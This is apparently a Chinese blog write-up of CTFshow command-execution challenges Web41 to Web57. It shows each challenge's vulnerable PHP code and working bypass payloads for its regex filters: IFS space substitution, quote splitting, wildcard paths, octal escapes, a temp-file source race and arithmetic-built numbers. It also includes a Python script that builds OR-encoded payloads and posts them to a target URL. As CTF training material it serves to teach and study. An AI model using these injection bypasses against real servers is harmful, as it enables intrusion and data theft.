CTFshow-命令执行(Web41-57)

CTFshow-命令执行(Web41-57)

CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客

对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。

复制代码
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

Web41

php 复制代码
<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
`	if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

参考ctfshow web入门 web41_ctfshow web41-CSDN博客

没有过滤|,这里有羽师傅两个脚本:生成可用字符的集合

复制代码
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、"^"、"+"、"~"、"$"、"["、"]"、"{"、"}"、"&" 或 "-",并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。

思路如下:

  • 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  • 使用POST请求发送c,获取flag
python 复制代码
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])


def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

Web42

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这段代码的问题在于它直接将用户通过$_GET['c']传递的命令传递给了system()函数,并试图将输出重定向到/dev/null,这意味着任何标准输出或错误输出都不会被显示。

  1. 尝试无需回显的命令:?c=cp flag.php 1.txt
  2. ;绕过?c=cat flag.php;这里其实分号后面的都被重定向到/dev/null,虽然没有命令?c=cat flag.php;cat flag.php也行
  3. ?c=tac flag.php||ls也行因为||只会执行前面的命令
  4. & 两条命令都会执行?c=tac flag.php%26ls &需要url编码

| //只执行后面那条命令,这里不能用

Web43

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

cat和;被过滤

  1. 尝试无需回显的命令:?c=cp flag.php 1.txt
  2. ?c=tac flag.php||ls也行因为||只会执行前面的命令
  3. & 两条命令都会执行?c=tac flag.php%26ls &需要url编码

Web44

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac fla?.php||ls也行因为||只会执行前面的命令
  2. & 两条命令都会执行?c=tac fla?.php%26ls &需要url编码
  3. ?c=cp fla?.php 1.txt

Web45

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格也被过滤,看开头空格过滤方式,这里 I F S 和 {IFS}和 IFS和IFS$1和%09没被过滤

  1. ?c=tac I F S f l a ? . p h p ∣ ∣ l s ? c = t a c {IFS}fla?.php||ls ?c=tac IFSfla?.php∣∣ls?c=tacIFS$1fla?.php||ls ?c=tac%09fla?.php||ls
  2. ?c=tac${IFS}fla?.php%26ls...

?c=cp%09fla?.php%091.txt (不行了,不知道为啥)

Web46

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

0-9$*也没了,但是%09和%26不算数字,算是url编码

  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web47

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web48

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web49

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%被过滤了

  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web50

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

PHP 中,'' 会被解析为空字符串,所以:

fl''ag.php = flag.php

%0a 是 URL 编码的 换行符(\n)

  1. /?c=tac<fl''ag.php%0a /?c=tac<fl%27%27ag.php||
  2. ?c=nl<fla\g.php||

Web51

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac被过滤

  1. ?c=nl<fla\g.php||
  2. ?c=t''ac<fl''ag.php%0a
  3. ?c=vi<fla\g.php||

flag.php 的内容输入到 vi 命令的标准输入

vi 不会像 nl 那样直接打印出文件的内容

Web52

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

<> 被过滤了,但是$和cat没

  1. ?c=nl${IFS}/fla''g||
  2. ?c=t''ac${IFS}/fl''ag%0a
  3. ?c=vi${IFS}fla''g.php||

...

Web53

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=ca''t${IFS}fla''g.php
  2. ?c=ta''c${IFS}fla''g.php

Web54

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

越来越怪了

过滤了很多命令。 中间这些个很多的星号的内容,其实说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

  1. ?c=cp I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt
  2. ?c=/bin/ca?${IFS}???.??? (可能环境变了,实测不行,但是还是记录一下)

Web55

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母,但没有过滤数字

?c=/???/???64 ???.???

// 即/bin/base64 flag.php

//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/???2 ???.???

// 即/usr/bin/bzip2 flag.php

//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

$'\154\163' 就会执行ls

$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以得到第一个函数common_otc(cmd),该函数将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,如果为连续的一串$'\xxx\xxx\xxx\xxx'形式,则我们无法执行带参数的命令。

Web56

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母数字rce,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行命令

原理是通过POST上传一个文件,文件内容是要执行的命令,并且同时点命令执行该文件,形成条件竞争。这个文件默认保存在/tmp/phpxxxx路径下,所以可以通过/???/???[@-[] 来构成这个路径,[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/???匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。

无字母数字webshell之提高篇 | 离别歌

无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客

Web57

php 复制代码
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

~x+1=-x

那么假如 ~x+1=-x ,-x-1 = ~x 假如x=-3 那么(--3-1)=2 =~x我们可以得出-3取反为2,-4取反为3,-37取反为36

$(())=0

((\~ (()) ))=-1

复制代码
?c=$((~ $(($((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))))))
相关推荐
叶落阁主10 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
JaguarJack10 小时前
为什么 PHP 闭包要加 static?
后端·php·服务端
曲幽11 小时前
FastAPI流式输出实战与避坑指南:让AI像人一样“边想边说”
python·ai·fastapi·web·stream·chat·async·generator·ollama
ServBay1 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954482 天前
CTF 伪协议
php
曲幽2 天前
不止于JWT:用FastAPI的Depends实现细粒度权限控制
python·fastapi·web·jwt·rbac·permission·depends·abac
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全